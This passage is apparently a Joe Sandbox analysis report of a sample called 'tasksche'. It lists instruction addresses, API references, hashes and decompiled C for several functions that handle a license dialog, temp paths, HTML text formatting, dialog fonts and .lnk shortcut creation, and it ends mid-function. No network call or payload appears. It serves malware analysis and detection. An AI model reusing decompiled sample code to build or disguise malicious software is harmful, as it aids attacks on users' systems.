0x0040f0ec
0x0040f0f2
0x0040f108
0x0040f10d
0x0040f10e
0x0040f113
0x0040f0f4
0x0040f0f4
0x0040f0f9
0x0040f0fa
0x0040f0ff
0x0040f0ff
0x0040f0f2
0x0040f134
0x0040f136
0x0040f13d
0x0040f14b
0x0040f152
0x0040f157
0x0040f15f
0x0040f160
0x0040f161
0x0040f1b2
0x0040f1b7
0x0040f1b9
0x00000000
0x00000000
0x0040f1bf
0x0040f1c3
0x0040f1cb
0x0040f1d1
0x00000000
0x00000000
0x00000000
0x00000000
0x0040f1d3
0x0040f1d3
0x0040f1d3
0x0040f1d6
0x0040f1da
0x0040f1e2
0x0040f1e2
0x0040f1e5
0x0040f1e7
0x0040f1f1
0x0040f1f6
0x0040f1f8
0x0040f238
0x00000000
0x0040f238
0x0040f1fa
0x0040f1fd
0x0040f201
0x0040f219
0x0040f219
0x0040f21a
0x0040f21b
0x0040f21b
0x0040f221
0x0040f222
0x0040f228
0x0040f22e
0x0040f231
0x0040f232
0x0040f233
0x00000000
0x0040f233
0x0040f205
0x0040f206
0x0040f20d
0x0040f210
0x0040f211
0x00000000
0x0040f211
0x0040f1dc
0x0040f1e0
0x00000000
0x00000000
0x00000000
0x0040f23b
0x0040f23b
0x0040f23c
0x0040f23d
0x0040f23d
0x0040f243
0x0040f247
0x0040f249
0x0040f24c
0x0040f24c
0x0040f24e
0x0040f24e
0x00000000
0x0040f163
0x0040f16a
0x0040f176
0x0040f17f
0x0040f187
0x0040f189
0x0040f18f
0x0040f191
0x0040f19f
0x0040f1a4
0x0040f1a5
0x0040f1a5
0x0040f251
0x0040f251
0x0040f253
0x0040f25a
0x0040f264
0x0040f26b
0x0040f26b
0x0040f278
0x0040f27f
0x0040f284
0x0040f28b
0x0040f297
0x0040f297
0x0040f2a4
0x0040f2a9
0x0040f2b0
0x0040f2ba
0x0040f2c7
0x0040f2ce
0x0040f2ce
0x0040f2da
0x0040f2e1
0x0040f2e6
0x0040f2e7
0x0040f2e8
0x0040f2ee
0x0040f2f5
0x0040f2f7
0x0040f2f7
0x0040f30c
0x0040f311
0x0040f31d
0x0040f31f
0x0040f330
0x0040f33d
0x00000000
0x0040f321
0x0040f32c
0x0040f32e
0x0040f342
0x0040f34b
0x0040f357
0x0040f35e
0x0040f363
0x0040f364
0x0040f36c
0x0040f378
0x0040f37a
0x0040f37c
0x0040f382
0x0040f38b
0x0040f38d
0x0040f38f
0x0040f395
0x0040f39e
0x0040f3a0
0x0040f3a2
0x0040f3a8
0x0040f3b3
0x0040f3b6
0x0040f3b8
0x0040f3be
0x0040f3c8
0x0040f3d1
0x0040f3d6
0x0040f3de
0x0040f3e2
0x0040f3f0
0x0040f3f0
0x0040f405
0x0040f405
0x0040f421
0x0040f426
0x0040f42b
0x0040e8a9
0x0040e8af
0x0040e8b5
0x0040e8ba
0x0040e8c0
0x0040e8c3
0x0040e8c3
0x00000000
0x00000000
0x00000000
0x00000000
0x0040e8e3
0x0040e8fd
0x0040e904
0x00000000
0x0040e906
0x00000000
0x0040e906
0x0040e904
0x0040e90b
0x0040e90f
0x00000000
0x00000000
0x0040e918
0x00000000
0x0040e91f
0x0040e923
0x00000000
0x00000000
0x0040e931
0x0040e94c
0x0040e957
0x0040e95c
0x0040e96d
0x0040e978
0x0040e97d
0x0040e98c
0x0040e991
0x0040e993
0x0040eaf2
0x0040eaf2
0x0040eafc
0x00000000
0x0040e999
0x0040e999
0x0040e99e
0x0040e9a7
0x0040e9ad
0x0040e9b4
0x0040ea5c
0x0040ea63
0x0040ea65
0x0040ea68
0x00000000
0x00000000
0x0040ea71
0x0040ea77
0x0040ea79
0x00000000
0x0040ea7b
0x0040ea7b
0x0040ea7e
0x0040ea7f
0x0040ea87
0x0040ea97
0x0040ea9c
0x0040eaa6
0x0040eaa8
0x0040eaab
0x0040ea81
0x0040ea81
0x0040ea81
0x0040ea84
0x00000000
0x0040eaad
0x0040eabb
0x0040eac1
0x0040eac3
0x0040ead0
0x0040ead0
0x00000000
0x0040eac3
0x0040eaab
0x0040ea79
0x0040e9c9
0x0040e9d6
0x0040e9e2
0x0040e9e8
0x0040e9eb
0x0040e9ee
0x0040ea02
0x0040ea09
0x0040ea0e
0x0040ea10
0x00000000
0x00000000
0x0040ea16
0x0040ea1d
0x0040ea22
0x0040ea26
0x0040ea33
0x0040ea38
0x0040ea3b
0x0040ea3d
0x0040ea3e
0x0040ea48
0x0040ea4f
0x0040ea56
0x00000000
0x0040ea56
0x0040e9f7
0x0040e9fd
0x0040ea00
0x00000000
0x00000000
0x00000000
0x0040ead6
0x0040ead6
0x0040eae5
0x0040eaea
0x0040eaea
0x00000000
0x0040e99e
0x00000000
0x0040eb06
0x0040eb0a
0x0040eb2e
0x0040eb32
0x0040eb3c
0x0040eb44
0x0040eb34
0x0040eb34
0x0040eb34
0x0040eb46
0x0040eb4a
0x0040eb5c
0x0040eb4c
0x0040eb4c
0x0040eb4c
0x0040eb5f
0x0040eb64
0x0040eb6a
0x0040eb6b
0x0040eb71
0x0040eb76
0x0040eb79
0x0040eb7d
0x0040eb82
0x0040eb84
0x0040eb84
0x0040eb86
0x0040eb86
0x0040eb8b
0x0040eb90
0x0040eb94
0x0040eb95
0x0040eb96
0x0040eb9c
0x0040eb9d
0x0040eba2
0x0040eba2
0x0040eb96
0x00000000
0x00000000
0x0040eba8
0x0040ebac
0x0040ebbc
0x0040ebbc
0x00000000
0x00000000
0x0040ebc7
0x0040ebcb
0x00000000
0x00000000
0x0040ebd1
0x0040ebd9
0x00000000
0x00000000
0x0040ebdf
0x0040ebe1
0x0040ebe9
0x0040ebef
0x0040ebf2
0x0040ebf9
0x0040ebfb
0x0040ec01
0x0040ec01
0x0040ec05
0x0040ec0b
0x0040ec0d
0x00000000
0x0040ec13
0x0040ec13
0x0040ec16
0x0040ec1a
0x0040ec36
0x0040ec36
0x0040ec3a
0x0040ed1b
0x0040ed1b
0x0040ed1c
0x0040ed1c
0x0040ed22
0x0040ed23
0x0040ed28
0x0040ed28
0x0040ed29
0x0040ed2a
0x0040ed2a
0x0040ed33
0x0040ed38
0x0040ed39
0x0040ed3a
0x0040ed3c
0x0040ed3e
0x0040ed43
0x0040ed45
0x0040ed45
0x0040ed47
0x0040ed47
0x0040ed43
0x0040ed52
0x0040ed57
0x0040ed58
0x0040ed61
0x0040ed71
0x0040ed7b
0x0040ed8a
0x0040ed90
0x0040ed98
0x0040ed9d
0x0040ed9e
0x0040ed9f
0x0040eda1
0x0040edb6
0x0040edb6
0x00000000
0x0040eda1
0x0040ec40
0x0040ec43
0x0040ec50
0x0040ec50
0x0040ec62
0x0040ec68
0x0040ec6a
0x0040ec70
0x0040ec77
0x0040ec85
0x0040ec95
0x0040ec9b
0x0040ec9e
0x0040eca3
0x0040eca6
0x0040eca8
0x0040eca8
0x0040ecab
0x0040ecab
0x0040ecad
0x0040ecad
0x0040ecb5
0x0040ecbd
0x0040ecbf
0x0040ecc6
0x0040eccb
0x0040ecd5
0x0040ece3
0x0040ece8
0x0040ece9
0x0040ece9
0x0040ecd5
0x0040ecf0
0x0040ecf2
0x0040ecfe
0x0040ed02
0x0040ed08
0x00000000
0x0040ed0a
0x0040ed14
0x00000000
0x0040ed14
0x0040ed08
0x0040ec45
0x0040ec4a
0x00000000
0x00000000
0x00000000
0x0040ec4a
0x0040ec1c
0x0040ec21
0x00000000
0x00000000
0x0040ec23
0x0040ec23
0x0040ec26
0x0040ec2a
0x00000000
0x0040ec30
0x0040ec30
0x00000000
0x0040ec30
0x0040ec2a
0x00000000
0x0040edc1
0x0040edc2
0x0040edc7
0x0040edc9
0x0040edcb
0x0040edcc
0x0040edcc
0x00000000
0x0040ee02
0x0040ee09
0x0040ee09
0x0040ee0c
0x0040ee39
0x0040ee39
0x0040ee40
0x00000000
0x0040ee40
0x0040ee0e
0x0040ee0e
0x0040ee11
0x0040ee26
0x0040ee2d
0x0040ee2d
0x00000000
0x0040ee2d
0x0040ee13
0x0040ee13
0x0040ee14
0x00000000
0x00000000
0x0040ee16
0x0040ee16
0x0040ee17
0x00000000
0x00000000
0x0040ee1d
0x00000000
0x00000000
0x0040ee8f
0x0040ee93
0x00000000
0x00000000
0x0040ee95
0x0040eea1
0x0040eea6
0x0040eea7
0x0040eea8
0x0040eeaa
0x00000000
0x00000000
0x0040eeac
0x00000000
0x00000000
0x0040eed4
0x0040eed8
0x0040f04f
0x0040f04f
0x0040f053
0x0040f059
0x0040f060
0x0040f062
0x0040f062
0x0040f06c
0x0040f06c
0x00000000
0x0040f053
0x0040eee6
0x0040eef4
0x0040eef9
0x0040eefd
0x0040eeff
0x0040ef0c
0x0040ef0c
0x0040ef1a
0x0040ef2a
0x0040ef30
0x0040ef31
0x0040ef33
0x0040ef36
0x00000000
0x00000000
0x0040ef06
0x0040ef06
0x0040ef06
0x0040ef09
0x0040ef09
0x0040ef44
0x0040ef4a
0x0040ef52
0x00000000
0x00000000
0x0040ef58
0x0040ef5f
0x00000000
0x00000000
0x0040ef65
0x0040ef67
0x0040ef6e
0x0040ef77
0x0040ef7c
0x0040ef7d
0x0040ef7e
0x0040ef80
0x0040efcc
0x0040efcc
0x0040efd4
0x0040efdd
0x0040efe9
0x0040eff7
0x0040effc
0x0040f006
0x0040f00b
0x0040f00d
0x0040f01d
0x0040f027
0x0040f02d
0x0040f030
0x00000000
0x0040f036
0x0040f03b
0x0040f042
0x0040f049
0x00000000
0x0040f049
0x0040f030
0x0040ef82
0x0040ef84
0x0040ef8b
0x00000000
0x00000000
0x0040ef8d
0x0040ef93
0x0040ef93
0x0040ef97
0x00000000
0x00000000
0x0040ef99
0x0040ef9a
0x0040efa1
0x0040efa5
0x00000000
0x00000000
0x00000000
0x0040efa7
0x0040efa9
0x0040efb4
0x0040efbb
0x0040efc0
0x0040efc1
0x0040efc1
0x0040efc3
0x0040efc4
0x00000000
0x00000000
0x0040f078
0x0040f07c
0x0040f07e
0x0040f086
0x0040f092
0x0040f092
0x0040f098
0x0040f0a0
0x0040f0a0
0x0040f0a5
0x00000000
0x00000000
0x0040f0b1
0x0040f0b5
0x0040eebc
0x0040eebc
0x00000000
0x0040eebc
0x0040f0bb
0x0040eeae
0x0040eeae
0x0040eeb1
0x0040eeb7
0x00000000
0x00000000
0x00000000
0x00000000
0x0040f3f8
0x0040f3fc
0x0040f3fe
0x0040f3fe
0x00000000
0x00000000
0x0040ee4c
0x0040ee54
0x0040ee5a
0x0040ee5d
0x0040ee83
0x0040ee5f
0x0040ee5f
0x0040ee62
0x0040ee77
0x0040ee64
0x0040ee64
0x0040ee6b
0x0040ee6b
0x0040ee62
0x00000000
0x00000000
0x0040eec8
0x0040eec9
0x0040eece
0x0040eed0
0x0040eed0
0x00000000
0x00000000
0x0040e8ca
0x0040e8ce
0x0040e8d3
0x0040e8da
0x0040e8da
0x0040e8dd
0x00000000
0x0040e8df
0x0040e8df
0x00000000
0x0040e8df
0x0040e8dd
0x0040f437
0x0040f43f
0x0040f43f
0x00000000
0x0040f32e
0x0040f31f
0x0040f161
0x0040f0c6

APIs

_wcscpy.LIBCMT ref: 0040F152
_wcscpy.LIBCMT ref: 0040F171
_wcschr.LIBCMT ref: 0040F17F
_wcscpy.LIBCMT ref: 0040F19F
_wcscpy.LIBCMT ref: 0040F229
_wcscpy.LIBCMT ref: 0040F2E1
_wcscpy.LIBCMT ref: 0040F35E

Part of subcall function 00410B9C: _wcsncpy.LIBCMT ref: 00410BB3

SHChangeNotify.SHELL32(00001000,00000005,00000000,00000000), ref: 0040F3F0

Strings

", xrefs: 0040F157
.lnk, xrefs: 0040F321, 0040F331

Memory Dump Source

Source File: 00000009.00000002.984441686.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.984410654.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.984583986.000000000042A000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.984597321.0000000000430000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.984612136.0000000000435000.00000004.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_tasksche.jbxd

Similarity

API ID: _wcscpy$ChangeNotify_wcschr_wcsncpy
String ID: "$.lnk
API String ID: 1911921660-4024015082
Opcode ID: bb3ca6cd81c2d3ad9077df71b8a1193f574709db9a1feafa84c70d00a6701fe0
Instruction ID: e9d5912a6b4b3542aee3cadb88dbd3b5a863ff0206024957ce050cac0ef3000c
Opcode Fuzzy Hash: bb3ca6cd81c2d3ad9077df71b8a1193f574709db9a1feafa84c70d00a6701fe0
Instruction Fuzzy Hash: 5191227280022899DF35DBA5CC49EEEB37CBB44304F4405BBE509F7181EB789AD98B59

Uniqueness

Uniqueness Score: -1.00%

Function 0040EEC9 Relevance: 17.6, APIs: 9, Strings: 1, Instructions: 131windowCOMMON

Download Yara Rule

APIs

GetTempPathW.KERNEL32(?,?), ref: 0040EEE6

Part of subcall function 0040A116: _wcslen.LIBCMT ref: 0040A11C
Part of subcall function 0040A116: _wcscat.LIBCMT ref: 0040A13B

_swprintf.LIBCMT ref: 0040EF22

Part of subcall function 0040BC16: __vswprintf_c_l.LIBCMT ref: 0040BC29

SetDlgItemTextW.USER32 ref: 0040EF44
_wcschr.LIBCMT ref: 0040EF77
_wcscpy.LIBCMT ref: 0040EFBB
_wcscpy.LIBCMT ref: 0040EFE4
_wcscpy.LIBCMT ref: 0040EFF7
MessageBoxW.USER32(?,00000000,00000000,00000024), ref: 0040F027
EndDialog.USER32(?,00000001), ref: 0040F049

Strings

%s%s%d, xrefs: 0040EEFF, 0040EF19

Memory Dump Source

Source File: 00000009.00000002.984441686.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.984410654.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.984583986.000000000042A000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.984597321.0000000000430000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.984612136.0000000000435000.00000004.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_tasksche.jbxd

Similarity

API ID: _wcscpy$DialogItemMessagePathTempText__vswprintf_c_l_swprintf_wcscat_wcschr_wcslen
String ID: %s%s%d
API String ID: 1897388972-1000756122
Opcode ID: f75e7cfbeccc15e09081c60efc06442c44850a7c3c336a2ff36c1e07c701c860
Instruction ID: 7c5ef0a1406295de31e953a15a9408ca88d5d0b5476cb7747de3243763a4baae
Opcode Fuzzy Hash: f75e7cfbeccc15e09081c60efc06442c44850a7c3c336a2ff36c1e07c701c860
Instruction Fuzzy Hash: 325176728001199BDB21DF61DC44BEE77B8FB04308F0445BBEA09E7191E7789AE98F59

Uniqueness

Uniqueness Score: -1.00%

Function 004191D8 Relevance: 17.6, APIs: 6, Strings: 4, Instructions: 93
COMMON

Download Yara Rule

C-Code - Quality: 91%

			E004191D8(void* __ebx, void* __eflags, short* _a4) {
				intOrPtr _v8;
				intOrPtr _v12;
				void* __edi;
				void* __esi;
				void* __ebp;
				short* _t32;
				signed int _t33;
				signed int _t41;
				void* _t51;
				void* _t52;
				short* _t53;
				short* _t55;
				short* _t57;

				_push(_t43);
				_t57 = _a4;
				_push(_t52);
				_t53 = E0041CF3E(__ebx, _t51, _t52, 0x200 + E0041A7AF(_t57) * 0xc);
				_v12 = _t53;
				if(_t53 != 0) {
					_push(__ebx);
					E0041A7F7(_t53, L"<style>body{font-family:\"Arial\";font-size:12;}</style>");
					_t41 = E0041A7AF(_t53);
					__eflags =  *_t57;
					while(__eflags != 0) {
						_t33 = E00411E81(__eflags, _t57, L"\r\n\r\n", 4);
						__eflags = _t33;
						if(_t33 != 0) {
							__eflags = _t57 - _a4;
							if(_t57 <= _a4) {
								L13:
								 *((short*)(_t53 + _t41 * 2)) =  *_t57;
								_t41 = _t41 + 1;
								__eflags = _t41;
							} else {
								__eflags =  *_t57 - 0x20;
								if( *_t57 != 0x20) {
									goto L13;
								} else {
									__eflags =  *((short*)(_t57 - 2)) - 0x20;
									if( *((short*)(_t57 - 2)) != 0x20) {
										goto L13;
									} else {
										E0041A7F7(_t53 + _t41 * 2, L"&nbsp;");
										_t41 = _t41 + 6;
									}
								}
							}
						} else {
							_t55 = _t57 + 4;
							__eflags =  *_t55 - 0xd;
							if( *_t55 == 0xd) {
								_v8 = _v12 + _t41 * 2;
								while(1) {
									__eflags =  *((short*)(_t57 + 6)) - 0xa;
									if( *((short*)(_t57 + 6)) != 0xa) {
										goto L8;
									}
									E0041A7F7(_v8, L"<br>");
									_v8 = _v8 + 8;
									_t57 = _t55;
									_t55 = _t57 + 4;
									_t41 = _t41 + 4;
									__eflags =  *_t55 - 0xd;
									if( *_t55 == 0xd) {
										continue;
									}
									goto L8;
								}
							}
							L8:
							_t53 = _v12;
							_t57 = _t57 + 2;
						}
						_t57 = _t57 + 2;
						__eflags =  *_t57;
					}
					_push(_a4);
					__eflags = 0;
					 *((short*)(_t53 + _t41 * 2)) = 0;
					E0041A506(_t41, _t53, _t57, 0);
					_t32 = _t53;
				} else {
					_t32 = _t57;
				}
				return _t32;
			}

APIs

_wcslen.LIBCMT ref: 004191E3
_malloc.LIBCMT ref: 004191F1

Part of subcall function 0041CF3E: __FF_MSGBANNER.LIBCMT ref: 0041CF61
Part of subcall function 0041CF3E: __NMSG_WRITE.LIBCMT ref: 0041CF68
Part of subcall function 0041CF3E: RtlAllocateHeap.NTDLL(00000000,-0000000F,00000001,00000000,00000000,?,004212F4,00000000,00000001,00000000,?,0041EF2D,00000018,0042D930,0000000C,0041EFBE), ref: 0041CFB5

_wcscpy.LIBCMT ref: 0041920F
_wcslen.LIBCMT ref: 00419215
_wcscpy.LIBCMT ref: 0041925D

Strings

, xrefs: 0041922D
<style>body{font-family:"Arial";font-size:12;}</style>, xrefs: 00419209
 , xrefs: 00419292
<br>, xrefs: 00419255

Memory Dump Source

Source File: 00000009.00000002.984441686.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.984410654.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.984583986.000000000042A000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.984597321.0000000000430000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.984612136.0000000000435000.00000004.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_tasksche.jbxd

Similarity

API ID: _wcscpy_wcslen$AllocateHeap_malloc
String ID: $ $<br>$<style>body{font-family:"Arial";font-size:12;}</style>
API String ID: 2405444336-406990186
Opcode ID: 4b4a1cae5e7a93affbfc5e59a2b65d92d146fa889393bb29aeeeda0ea8609ab4
Instruction ID: 0e02d37120f5dc5c9773bcbd7ae744d1444ccd80410fa70afd17435bf81929d8
Opcode Fuzzy Hash: 4b4a1cae5e7a93affbfc5e59a2b65d92d146fa889393bb29aeeeda0ea8609ab4
Instruction Fuzzy Hash: BF21FB76904304BBDB20AB54DC41ADAB3B4EF45314B20445BE455A7390E7BC9ED1839E

Uniqueness

Uniqueness Score: -1.00%

Function 0040F47B Relevance: 15.8, APIs: 8, Strings: 1, Instructions: 96
windowCOMMON

Download Yara Rule

C-Code - Quality: 86%

			E0040F47B(void* __ecx, void* __edx, void* __esi, void* __eflags, void* __fp0, struct HWND__* _a4, struct HWND__* _a8, signed short _a12, intOrPtr _a16) {
				void* __ebx;
				void* __edi;
				void* __ebp;
				void* _t14;
				long _t15;
				long _t16;
				struct HWND__* _t18;
				void* _t32;
				struct HWND__* _t34;
				void* _t36;
				void* _t41;
				void* _t42;
				void* _t49;

				_t49 = __fp0;
				_t38 = __edx;
				_t34 = _a4;
				if(E004060EE(__edx, _t34, _a8, _a12, _a16, L"LICENSEDLG", 0, 0) != 0) {
					L15:
					__eflags = 1;
					return 1;
				}
				_t14 = _a8 - 0x110;
				if(_t14 == 0) {
					_t15 =  *0x43981c;
					_t41 = SendMessageW;
					__eflags = _t15;
					if(_t15 != 0) {
						SendMessageW(_t34, 0x80, 1, _t15);
					}
					_t16 =  *0x439818;
					__eflags = _t16;
					if(__eflags != 0) {
						SendDlgItemMessageW(_t34, 0x66, 0x172, 0, _t16);
					}
					E0040DBC1(_t38, __eflags, _t49, _t34);
					_t18 = GetDlgItem(_t34, 0x65);
					_a8 = _t18;
					SendMessageW(_t18, 0x435, 0, 0x10000);
					SendMessageW(_a8, 0x443, 0, GetSysColor(0xf));
					E0040E857(_t41, _t34,  *0x44184c, 3);
					_pop(_t42);
					__eflags =  *0x441854;
					if(__eflags == 0) {
						L13:
						_push(1);
						L14:
						EndDialog(_t34, ??);
					} else {
						SetForegroundWindow(_t34);
						_t36 =  *0x438810; // 0x19feac
						E00419A9D(_t36, __eflags,  *0x4335a4, _a8,  *0x441854, 0, 0);
						_push( *0x441854);
						E0041A506(_t34, 0, _t42, __eflags);
					}
					goto L15;
				}
				if(_t14 != 1) {
					L5:
					return 0;
				}
				_t32 = (_a12 & 0x0000ffff) - 1;
				if(_t32 == 0) {
					goto L13;
				}
				if(_t32 == 1) {
					_push(0);
					goto L14;
				}
				goto L5;
			}

0x0040f47b
0x0040f47b
0x0040f47f
0x0040f49d
0x0040f584
0x0040f586
0x00000000
0x0040f586
0x0040f4a6
0x0040f4ab
0x0040f4cb
0x0040f4d1
0x0040f4d7
0x0040f4d9
0x0040f4e4
0x0040f4e4
0x0040f4e6
0x0040f4eb
0x0040f4ed
0x0040f4f9
0x0040f4f9
0x0040f500
0x0040f508
0x0040f51a
0x0040f51d
0x0040f531
0x0040f53c
0x0040f541
0x0040f542
0x0040f548
0x0040f57b
0x0040f57b
0x0040f57d
0x0040f57e
0x0040f54a
0x0040f54b
0x0040f551
0x0040f568
0x0040f56d
0x0040f573
0x0040f578
0x00000000
0x0040f548
0x0040f4ae
0x0040f4be
0x00000000
0x0040f4be
0x0040f4b4
0x0040f4b5
0x00000000
0x00000000
0x0040f4bc
0x0040f4c5
0x00000000
0x0040f4c5
0x00000000

APIs

SendMessageW.USER32(?,00000080,00000001,?), ref: 0040F4E4
SendDlgItemMessageW.USER32 ref: 0040F4F9
GetDlgItem.USER32 ref: 0040F508
SendMessageW.USER32(00000000,00000435,00000000,00010000), ref: 0040F51D
GetSysColor.USER32(0000000F), ref: 0040F521
SendMessageW.USER32(?,00000443,00000000,00000000), ref: 0040F531
SetForegroundWindow.USER32(?,00000003), ref: 0040F54B
EndDialog.USER32(?,00000001), ref: 0040F57E

Strings

LICENSEDLG, xrefs: 0040F487

Memory Dump Source

Source File: 00000009.00000002.984441686.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.984410654.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.984583986.000000000042A000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.984597321.0000000000430000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.984612136.0000000000435000.00000004.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_tasksche.jbxd

Similarity

API ID: MessageSend$Item$ColorDialogForegroundWindow
String ID: LICENSEDLG
API String ID: 3794146707-2177901306
Opcode ID: d9c859b37e3cb600bcc19d133c3a45f80262450e0631c0b47ec7fe9b94556e21
Instruction ID: 7fefae372e04e04a7da23b2667bfd905224a5402d39c62195e2e2b0091848963
Opcode Fuzzy Hash: d9c859b37e3cb600bcc19d133c3a45f80262450e0631c0b47ec7fe9b94556e21
Instruction Fuzzy Hash: E521F9312002047BDB31AF61EC45E5B3B6DEB89B10F408436FE15B51E2D6798955CB2C

Uniqueness

Uniqueness Score: -1.00%

Function 0040DBC1 Relevance: 15.8, APIs: 8, Strings: 1, Instructions: 82
windowCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E0040DBC1(void* __edx, void* __eflags, void* __fp0, signed int _a4) {
				struct HWND__* _v8;
				intOrPtr _v24;
				intOrPtr _v28;
				void _v32;
				short _v4128;
				void* _t16;
				struct HWND__* _t17;
				void* _t27;
				void* _t35;
				struct HWND__* _t37;
				void* _t41;
				void* _t42;
				void* _t52;

				_t52 = __fp0;
				_t42 = __eflags;
				_t35 = __edx;
				E0041AAF0(0x101c);
				_t16 = E00419E56(_t42);
				if(_t16 == 0) {
					return _t16;
				}
				_t17 = GetWindow(_a4, 5);
				_a4 = _a4 & 0x00000000;
				_t37 = _t17;
				_v8 = _t37;
				if(_t37 == 0) {
					L12:
					return _t17;
				} else {
					while(_a4 < 0x200) {
						GetClassNameW(_t37,  &_v4128, 0x800);
						if(E00411E60( &_v4128, L"STATIC") == 0 && (GetWindowLongW(_t37, 0xfffffff0) & 0x0000001f) == 0xe) {
							_t41 = SendMessageW(_t37, 0x173, 0, 0);
							if(_t41 != 0) {
								GetObjectW(_t41, 0x18,  &_v32);
								_t27 = E00419E13(_v24);
								SendMessageW(_t37, 0x172, 0, E00419EA0(_t35, _t52, _t41, E00419DD0(_v28), _t27));
								if(_t41 !=  *0x439818) {
									DeleteObject(_t41);
								}
							}
						}
						_t17 = GetWindow(_t37, 2);
						_t37 = _t17;
						if(_t37 != _v8) {
							_a4 =  &(_a4->i);
							if(_t37 != 0) {
								continue;
							}
						}
						break;
					}
					goto L12;
				}
			}

0x0040dbc1
0x0040dbc1
0x0040dbc1
0x0040dbc9
0x0040dbce
0x0040dbd5
0x0040dcb5
0x0040dcb5
0x0040dbe1
0x0040dbe7
0x0040dbeb
0x0040dbed
0x0040dbf2
0x0040dcb3
0x00000000
0x0040dbf8
0x0040dc00
0x0040dc1a
0x0040dc33
0x0040dc51
0x0040dc55
0x0040dc5e
0x0040dc67
0x0040dc85
0x0040dc8d
0x0040dc90
0x0040dc90
0x0040dc8d
0x0040dc55
0x0040dc99
0x0040dc9f
0x0040dca4
0x0040dca6
0x0040dcab
0x00000000
0x00000000
0x0040dcab
0x00000000
0x0040dca4
0x00000000
0x0040dcb2

APIs

GetWindow.USER32(?,00000005), ref: 0040DBE1
GetClassNameW.USER32 ref: 0040DC1A

Part of subcall function 00411E60: CompareStringW.KERNEL32(00000400,00001001,00000000,000000FF,00000000,000000FF,00409CA8,?,00000000,?,00409DC2,00000000,-00000002,?,00000000,?), ref: 00411E76

GetWindowLongW.USER32(00000000,000000F0), ref: 0040DC38
SendMessageW.USER32(00000000,00000173,00000000,00000000), ref: 0040DC4F
GetObjectW.GDI32(00000000,00000018,?), ref: 0040DC5E

Part of subcall function 00419E13: GetDC.USER32(00000000), ref: 00419E1F
Part of subcall function 00419E13: GetDeviceCaps.GDI32(00000000,0000005A), ref: 00419E2E
Part of subcall function 00419E13: ReleaseDC.USER32 ref: 00419E3C

Part of subcall function 00419DD0: GetDC.USER32(00000000), ref: 00419DDC
Part of subcall function 00419DD0: GetDeviceCaps.GDI32(00000000,00000058), ref: 00419DEB
Part of subcall function 00419DD0: ReleaseDC.USER32 ref: 00419DF9

SendMessageW.USER32(00000000,00000172,00000000,00000000), ref: 0040DC85
DeleteObject.GDI32(00000000), ref: 0040DC90
GetWindow.USER32(00000000,00000002), ref: 0040DC99

Strings

STATIC, xrefs: 0040DC20

Memory Dump Source

Source File: 00000009.00000002.984441686.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.984410654.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.984583986.000000000042A000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.984597321.0000000000430000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.984612136.0000000000435000.00000004.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_tasksche.jbxd

Similarity

API ID: Window$CapsDeviceMessageObjectReleaseSend$ClassCompareDeleteLongNameString
String ID: STATIC
API String ID: 1444658586-1882779555
Opcode ID: 9567939a25e22092ccbfb99d506bbc14daa15c8c25c728e04901b5a25124ff52
Instruction ID: 65505d2462e9bd66d8f24c48bff8a2f322d46b7930d969d63ebb67ecbc3f0dac
Opcode Fuzzy Hash: 9567939a25e22092ccbfb99d506bbc14daa15c8c25c728e04901b5a25124ff52
Instruction Fuzzy Hash: B321F132A40204BBEB21AB90CC46FEF77B8AF41B50F404026FD04B61C1CBB89D86D66D

Uniqueness

Uniqueness Score: -1.00%

Function 0040BF1D Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 133
COMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 95%

			E0040BF1D(intOrPtr* __ecx, intOrPtr _a4, short* _a8, signed int _a12, intOrPtr _a16, intOrPtr _a20) {
				char _v24;
				char _v25;
				char _v4120;
				char _v8216;
				short* _t25;
				intOrPtr _t28;
				void* _t40;
				void* _t41;
				signed int _t42;
				void* _t52;
				void* _t55;
				intOrPtr* _t57;
				short* _t58;
				char* _t63;
				signed int _t68;
				void* _t72;
				intOrPtr _t73;
				signed int _t75;

				E0041AAF0(0x2014);
				_t57 = __ecx;
				if( *__ecx == 0) {
					L21:
					_t25 = _a8;
					if(_a4 == _t25) {
						L23:
						return _t25;
					}
					return E0041A7F7(_t25, _a4);
				}
				_t28 = _a16;
				_t63 = 0x42a73a;
				if(_t28 == 0) {
					_t63 = "s";
				} else {
					_t55 = _t28 - 1;
